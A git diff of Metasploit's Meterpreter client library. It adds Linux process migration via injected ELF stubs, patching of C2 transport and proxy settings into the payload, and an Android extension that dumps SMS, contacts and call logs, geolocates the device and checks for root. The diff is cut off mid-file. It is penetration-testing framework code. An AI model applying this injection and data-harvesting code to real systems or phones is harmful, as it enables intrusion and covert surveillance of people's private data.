+++ b/lib/rex/post/meterpreter/client_core.rb @@ -8,6 +8,9 @@ require 'rex/post/meterpreter/client' # argument for moving the meterpreter client into the Msf namespace. require 'msf/core/payload/windows' +# Provides methods to patch options into the metsrv stager. +require 'rex/payloads/meterpreter/patch' + module Rex module Post module Meterpreter @@ -22,6 +25,9 @@ module Meterpreter ### class ClientCore < Extension + UNIX_PATH_MAX = 108 + DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock" + # # Initializes the 'core' portion of the meterpreter client commands. # @@ -65,18 +71,18 @@ class ClientCore < Extension load_flags = LOAD_LIBRARY_FLAG_LOCAL # No library path, no cookie. - if (library_path == nil) + if library_path.nil? raise ArgumentError, "No library file path was supplied", caller end # Set up the proper loading flags - if (opts['UploadLibrary']) + if opts['UploadLibrary'] load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL end - if (opts['SaveToDisk']) + if opts['SaveToDisk'] load_flags |= LOAD_LIBRARY_FLAG_ON_DISK end - if (opts['Extension']) + if opts['Extension'] load_flags |= LOAD_LIBRARY_FLAG_EXTENSION end @@ -84,14 +90,14 @@ class ClientCore < Extension request = Packet.create_request('core_loadlib') # If we must upload the library, do so now - if ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL) + if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL image = '' ::File.open(library_path, 'rb') { |f| image = f.read } - if (image != nil) + if !image.nil? request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib]) else raise RuntimeError, "Failed to serialize library #{library_path}.", caller @@ -100,7 +106,7 @@ class ClientCore < Extension # If it's an extension we're dealing with, rename the library # path of the local and target so that it gets loaded with a random # name - if (opts['Extension']) + if opts['Extension'] library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}" target_path = library_path end @@ -110,7 +116,7 @@ class ClientCore < Extension request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path) request.add_tlv(TLV_TYPE_FLAGS, load_flags) - if (target_path != nil) + if !target_path.nil? request.add_tlv(TLV_TYPE_TARGET_PATH, target_path) end @@ -118,9 +124,9 @@ class ClientCore < Extension response = self.client.send_packet_wait_response(request, self.client.response_timeout) # No response? - if (response == nil) + if response.nil? raise RuntimeError, "No response was received to the core_loadlib request.", caller - elsif (response.result != 0) + elsif response.result != 0 raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller end @@ -144,18 +150,21 @@ class ClientCore < Extension # memory on the remote machine # def use(mod, opts = { }) - if (mod == nil) + if mod.nil? raise RuntimeError, "No modules were specified", caller end # Get us to the installation root and then into data/meterpreter, where # the file is expected to be - path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}") + modname = "ext_server_#{mod.downcase}" + path = MeterpreterBinaries.path(modname, client.binary_suffix) - if (opts['ExtensionPath']) - path = opts['ExtensionPath'] + if opts['ExtensionPath'] + path = ::File.expand_path(opts['ExtensionPath']) end - path = ::File.expand_path(path) + if path.nil? + raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller + end # Load the extension DLL commands = load_library( @@ -172,101 +181,93 @@ class ClientCore < Extension # Migrates the meterpreter instance to the process specified # by pid. The connection to the server remains established. # - def migrate( pid ) + def migrate(pid, writable_dir = nil) keepalive = client.send_keepalives client.send_keepalives = false process = nil binary_suffix = nil + old_platform = client.platform + old_binary_suffix = client.binary_suffix # Load in the stdapi extension if not allready present so we can determine the target pid architecture... client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" ) # Determine the architecture for the pid we are going to migrate into... client.sys.process.processes.each { | p | - if( p['pid'] == pid ) + if p['pid'] == pid process = p break end } # We cant migrate into a process that does not exist. - if( process == nil ) + if process.nil? raise RuntimeError, "Cannot migrate into non existent process", caller end - # We cant migrate into a process that we are unable to open - if( process['arch'] == nil or process['arch'].empty? ) - raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller + # We cannot migrate into a process that we are unable to open + # On linux, arch is empty even if we can access the process + if client.platform =~ /win/ + if process['arch'] == nil || process['arch'].empty? + raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller + end end - # And we also cant migrate into our own current process... - if( process['pid'] == client.sys.process.getpid ) + # And we also cannot migrate into our own current process... + if process['pid'] == client.sys.process.getpid raise RuntimeError, "Cannot migrate into current process", caller end - # Create a new payload stub - c = Class.new( ::Msf::Payload ) - c.include( ::Msf::Payload::Stager ) + if client.platform =~ /linux/ + if writable_dir.blank? + writable_dir = tmp_folder + end - # Include the appropriate reflective dll injection module for the target process architecture... - if( process['arch'] == ARCH_X86 ) - c.include( ::Msf::Payload::Windows::ReflectiveDllInject ) - binary_suffix = "x86.dll" - elsif( process['arch'] == ARCH_X86_64 ) - c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 ) - binary_suffix = "x64.dll" - else - raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller + stat_dir = client.fs.filestat.new(writable_dir) + + unless stat_dir.directory? + raise RuntimeError, "Directory #{writable_dir} not found", caller + end + # Rex::Post::FileStat#writable? isn't available end - # Create the migrate stager - migrate_stager = c.new() - migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" ) - - blob = migrate_stager.stage_payload - - if client.passive_service - - # Replace the transport string first (TRANSPORT_SOCKET_SSL - i = blob.index("METERPRETER_TRANSPORT_SSL") - if i - str = client.ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" - blob[i, str.length] = str - end - - conn_id = self.client.conn_id - i = blob.index("https://" + ("X" * 256)) - if i - str = self.client.url - blob[i, str.length] = str - end - - i = blob.index([0xb64be661].pack("V")) - if i - str = [ self.client.expiration ].pack("V") - blob[i, str.length] = str - end - - i = blob.index([0xaf79257f].pack("V")) - if i - str = [ self.client.comm_timeout ].pack("V") - blob[i, str.length] = str - end - end + blob = generate_payload_stub(process) # Build the migration request request = Packet.create_request( 'core_migrate' ) + + if client.platform =~ /linux/i + socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5))) + + if socket_path.length > UNIX_PATH_MAX - 1 + raise RuntimeError, "The writable dir is too long", caller + end + + pos = blob.index(DEFAULT_SOCK_PATH) + + if pos.nil? + raise RuntimeError, "The meterpreter binary is wrong", caller + end + + blob[pos, socket_path.length + 1] = socket_path + "\x00" + + ep = elf_ep(blob) + request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000) + request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep) + request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib]) + end + request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length ) request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib]) - if( process['arch'] == ARCH_X86_64 ) + if process['arch'] == ARCH_X86_64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 else request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86 end # Send the migration request (bump up the timeout to 60 seconds) - response = client.send_request( request, 60 ) + client.send_request( request, 60 ) if client.passive_service # Sleep for 5 seconds to allow the full handoff, this prevents @@ -282,24 +283,50 @@ class ClientCore < Extension # Now communicating with the new process ### - # Renegotiate SSL over this socket - client.swap_sock_ssl_to_plain() - client.swap_sock_plain_to_ssl() + # If renegotiation takes longer than a minute, it's a pretty + # good bet that migration failed and the remote side is hung. + # Since we have the comm_mutex here, we *must* release it to + # keep from hanging the packet dispatcher thread, which results + # in blocking the entire process. + begin + Timeout.timeout(60) do + # Renegotiate SSL over this socket + client.swap_sock_ssl_to_plain() + client.swap_sock_plain_to_ssl() + end + rescue TimeoutError + client.alive = false + return false + end # Restart the socket monitor client.monitor_socket + end end - # Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture - # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of. - # If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this. - if( process['arch'] == ARCH_X86_64 ) - client.platform = 'x64/win64' - client.binary_suffix = 'x64.dll' + # Update the meterpreter platform/suffix for loading extensions as we may + # have changed target architecture + # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a + # module this is the simplest solution I could think of. If the platform + # specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change + # significantly we will need a better way to do this. + + case client.platform + when /win/i + if process['arch'] == ARCH_X86_64 + client.platform = 'x64/win64' + client.binary_suffix = 'x64.dll' + else + client.platform = 'x86/win32' + client.binary_suffix = 'x86.dll' + end + when /linux/i + client.platform = 'x86/linux' + client.binary_suffix = 'lso' else - client.platform = 'x86/win32' - client.binary_suffix = 'x86.dll' + client.platform = old_platform + client.binary_suffix = old_binary_suffix end # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix) @@ -332,6 +359,94 @@ class ClientCore < Extension true end + private + + def generate_payload_stub(process) + case client.platform + when /win/i + blob = generate_windows_stub(process) + when /linux/i + blob = generate_linux_stub + else + raise RuntimeError, "Unsupported platform '#{client.platform}'" + end + + blob + end + + def generate_windows_stub(process) + c = Class.new( ::Msf::Payload ) + c.include( ::Msf::Payload::Stager ) + + # Include the appropriate reflective dll injection module for the target process architecture... + if process['arch'] == ARCH_X86 + c.include( ::Msf::Payload::Windows::ReflectiveDllInject ) + binary_suffix = "x86.dll" + elsif process['arch'] == ARCH_X86_64 + c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 ) + binary_suffix = "x64.dll" + else + raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller + end + + # Create the migrate stager + migrate_stager = c.new() + + dll = MeterpreterBinaries.path('metsrv',binary_suffix) + if dll.nil? + raise RuntimeError, "metsrv.#{binary_suffix} not found", caller + end + migrate_stager.datastore['DLL'] = dll + + blob = migrate_stager.stage_payload + + if client.passive_service + + # + # Patch options into metsrv for reverse HTTP payloads + # + Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, + :ssl => client.ssl, + :url => self.client.url, + :expiration => self.client.expiration, + :comm_timeout => self.client.comm_timeout, + :ua => client.exploit_datastore['MeterpreterUserAgent'], + :proxyhost => client.exploit_datastore['PROXYHOST'], + :proxyport => client.exploit_datastore['PROXYPORT'], + :proxy_type => client.exploit_datastore['PROXY_TYPE'], + :proxy_username => client.exploit_datastore['PROXY_USERNAME'], + :proxy_password => client.exploit_datastore['PROXY_PASSWORD'] + + end + + blob + end + + def generate_linux_stub + file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin") + blob = ::File.open(file, "rb") {|f| + f.read(f.stat.size) + } + + blob + end + + def elf_ep(payload) + elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) ) + ep = elf.elf_header.e_entry + return ep + end + + def tmp_folder + tmp = client.sys.config.getenv('TMPDIR') + + if tmp.blank? + tmp = '/tmp' + end + + tmp + end + end end; end; end diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb new file mode 100644 index 0000000000..e36a27eb31 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -0,0 +1,128 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- +require 'rex/post/meterpreter/extensions/android/tlv' +require 'rex/post/meterpreter/packet' +require 'rex/post/meterpreter/client' +require 'rex/post/meterpreter/channels/pools/stream_pool' + + +module Rex +module Post +module Meterpreter +module Extensions +module Android + +### +# Android extension - set of commands to be executed on android devices. +# extension by Anwar Mohamed (@anwarelmakrahy) +### + + +class Android < Extension + + def initialize(client) + super(client, 'android') + + # Alias the following things on the client object so that they + # can be directly referenced + client.register_extension_aliases( + [ + { + 'name' => 'android', + 'ext' => self + }, + ]) + end + + def device_shutdown(n) + request = Packet.create_request('device_shutdown') + request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) + response = client.send_request(request) + return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value + end + + def dump_sms + sms = Array.new + request = Packet.create_request('dump_sms') + response = client.send_request(request) + + response.each( TLV_TYPE_SMS_GROUP ) { |p| + + sms << + { + 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value), + 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value), + 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish, + 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value), + 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value) + } + + } + return sms + end + + def dump_contacts + contacts = Array.new + request = Packet.create_request('dump_contacts') + response = client.send_request(request) + + response.each( TLV_TYPE_CONTACT_GROUP ) { |p| + + contacts << + { + 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value), + 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)), + 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER)) + } + + } + return contacts + end + + def geolocate + + loc = Array.new + request = Packet.create_request('geolocate') + response = client.send_request(request) + + loc << + { + 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value), + 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value) + } + + return loc + end + + def dump_calllog + log = Array.new + request = Packet.create_request('dump_calllog') + response = client.send_request(request) + + response.each(TLV_TYPE_CALLLOG_GROUP) { |p| + + log << + { + 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value), + 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value), + 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value), + 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value), + 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value) + } + + } + return log + end + + def check_root + request = Packet.create_request('check_root') + response = client.send_request(request) + response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value + end +end + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb new file mode 100644 index 0000000000..879afbe944 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -0,0 +1,40 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +module Rex +module Post +module Meterpreter +module Extensions +module Android + +TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) +TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) +TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) +TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) +TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) +TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) + +TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) +TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) +TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) +TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) + +TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) +TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) + +TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) +TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) +TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) +TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) +TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) +TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) + +TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) + +TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb b/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb index d7a7db2409..a141616637 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb @@ -32,7 +32,7 @@ class Adsi # @param fields [Array] Array of string fields to return for # each result found # - # @returns [Hash] Array of field names with associated results. + # @return [Hash] Array of field names with associated results. # def domain_query(domain_name, filter, max_results, page_size, fields) request = Packet.create_request('extapi_adsi_domain_query') @@ -48,14 +48,7 @@ class Adsi response = client.send_request(request) - results = [] - response.each(TLV_TYPE_EXT_ADSI_RESULT) { |r| - result = [] - r.each(TLV_TYPE_EXT_ADSI_VALUE) { |v| - result << v.value - } - results << result - } + results = extract_results(response) return { :fields => fields, @@ -65,6 +58,107 @@ class Adsi attr_accessor :client +protected + + # + # Retrieve the results of the query from the response + # packet that was returned from Meterpreter. + # + # @param response [Packet] Reference to the received + # packet that was returned from Meterpreter. + # + # @return [Array[Array[[Hash]]] Collection of results from + # the ADSI query. + # + def extract_results(response) + results = [] + + response.each(TLV_TYPE_EXT_ADSI_RESULT) do |r| + results << extract_values(r) + end + + results + end + + # + # Extract a single row of results from a TLV group. + # + # @param tlv_container [Packet] Reference to the TLV + # group to pull the values from. + # + # @return [Array[Hash]] Collection of values from + # the single ADSI query result row. + # + def extract_values(tlv_container) + values = [] + tlv_container.get_tlvs(TLV_TYPE_ANY).each do |v| + values << extract_value(v) + end + values + end + + # + # Convert a single ADSI result value into a usable + # value that also describes its type. + # + # @param v [TLV] The TLV item that contains the value. + # + # @return [Hash] The type/value pair from the TLV. + # + def extract_value(v) + value = { + :type => :unknown + } + + case v.type + when TLV_TYPE_EXT_ADSI_STRING + value = { + :type => :string, + :value => v.value + } + when TLV_TYPE_EXT_ADSI_NUMBER, TLV_TYPE_EXT_ADSI_BIGNUMBER + value = { + :type => :number, + :value => v.value + } + when TLV_TYPE_EXT_ADSI_BOOL + value = { + :type => :bool, + :value => v.value + } + when TLV_TYPE_EXT_ADSI_RAW + value = { + :type => :raw, + :value => v.value + } + when TLV_TYPE_EXT_ADSI_ARRAY + value = { + :type => :array, + :value => extract_values(v.value) + } + when TLV_TYPE_EXT_ADSI_PATH + value = { + :type => :path, + :volume => v.get_tlv_value(TLV_TYPE_EXT_ADSI_PATH_VOL), + :path => v.get_tlv_value(TLV_TYPE_EXT_ADSI_PATH_PATH), + :vol_type => v.get_tlv_value(TLV_TYPE_EXT_ADSI_PATH_TYPE) + } + when TLV_TYPE_EXT_ADSI_DN + values = v.get_tlvs(TLV_TYPE_ALL) + value = { + :type => :dn, + :label => values[0].value + } + + if values[1].type == TLV_TYPE_EXT_ADSI_STRING + value[:string] = value[1].value + else + value[:raw] = value[1].value + end + end + + value + end end end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index 82a58b8361..609f2ab5e4 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -134,14 +134,16 @@ private result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT) end - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f| - ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES) do |fs| + ts = fs.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) result[ts] ||= {} result[ts]['Files'] ||= [] - result[ts]['Files'] << { - :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), - :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) - } + fs.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f| + result[ts]['Files'] << { + :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), + :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) + } + end end response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| diff --git a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb index 08408e3489..31a3cd45af 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb @@ -5,6 +5,7 @@ require 'rex/post/meterpreter/extensions/extapi/window/window' require 'rex/post/meterpreter/extensions/extapi/service/service' require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard' require 'rex/post/meterpreter/extensions/extapi/adsi/adsi' +require 'rex/post/meterpreter/extensions/extapi/wmi/wmi' module Rex module Post @@ -29,10 +30,11 @@ class Extapi < Extension 'name' => 'extapi', 'ext' => ObjectAliases.new( { - 'window' => Rex::Post::Meterpreter::Extensions::Extapi::Window::Window.new(client), - 'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client), + 'window' => Rex::Post::Meterpreter::Extensions::Extapi::Window::Window.new(client), + 'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client), 'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client), - 'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client) + 'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client), + 'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client) }) }, ]) diff --git a/lib/rex/post/meterpreter/extensions/extapi/service/service.rb b/lib/rex/post/meterpreter/extensions/extapi/service/service.rb index 86fbc7d148..0318c1aeac 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/service/service.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/service/service.rb @@ -15,18 +15,26 @@ module Service ### class Service + SERVICE_OP_START = 1 + SERVICE_OP_PAUSE = 2 + SERVICE_OP_RESUME = 3 + SERVICE_OP_STOP = 4 + SERVICE_OP_RESTART = 5 + def initialize(client) @client = client end + # # Enumerate all the services on the target. + # def enumerate request = Packet.create_request('extapi_service_enum') response = client.send_request(request) services = [] - response.each(TLV_TYPE_EXT_SERVICE_ENUM_GROUP) { |s| + response.each(TLV_TYPE_EXT_SERVICE_ENUM_GROUP) do |s| services << { :name => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_NAME), :display => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME), @@ -34,29 +42,59 @@ class Service :status => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_STATUS), :interactive => s.get_tlv_value(TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE) } - } + end - return services.sort_by { |s| s[:name].upcase } + services.sort_by { |s| s[:name].upcase } end + # # Query some detailed parameters about a particular service. + # def query(service_name) request = Packet.create_request('extapi_service_query') request.add_tlv(TLV_TYPE_EXT_SERVICE_ENUM_NAME, service_name) response = client.send_request(request) - detail = { + { :starttype => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE), :display => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME), :startname => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME), :path => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_PATH), :logroup => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP), :interactive => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE), - :dacl => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_DACL) + :dacl => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_DACL), + :status => response.get_tlv_value(TLV_TYPE_EXT_SERVICE_QUERY_STATUS) } + end - return detail + # + # Control a single service + # + def control(service_name, op) + if op.is_a? String + case op.strip.downcase + when "start" + op = SERVICE_OP_START + when "pause" + op = SERVICE_OP_PAUSE + when "resume" + op = SERVICE_OP_RESUME + when "stop" + op = SERVICE_OP_STOP + when "restart" + op = SERVICE_OP_RESTART + end + end + + unless (op.is_a? Integer) && op >= SERVICE_OP_START && op <= SERVICE_OP_RESTART + raise ArgumentError, "Invalid operation: #{op}" + end + + request = Packet.create_request('extapi_service_control') + request.add_tlv(TLV_TYPE_EXT_SERVICE_CTRL_NAME, service_name) + request.add_tlv(TLV_TYPE_EXT_SERVICE_CTRL_OP, op) + client.send_request(request) end attr_accessor :client diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index d7a2fff3ec..0a96954776 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -27,6 +27,10 @@ TLV_TYPE_EXT_SERVICE_QUERY_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_E TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 24) TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 25) TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 26) +TLV_TYPE_EXT_SERVICE_QUERY_STATUS = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 27) + +TLV_TYPE_EXT_SERVICE_CTRL_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 28) +TLV_TYPE_EXT_SERVICE_CTRL_OP = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 29) TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35) @@ -38,6 +42,7 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43) +TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 44) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 45) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 46) @@ -49,13 +54,31 @@ TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52) TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53) -TLV_TYPE_EXT_ADSI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55) -TLV_TYPE_EXT_ADSI_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56) -TLV_TYPE_EXT_ADSI_FIELD = TLV_META_TYPE_STRING | 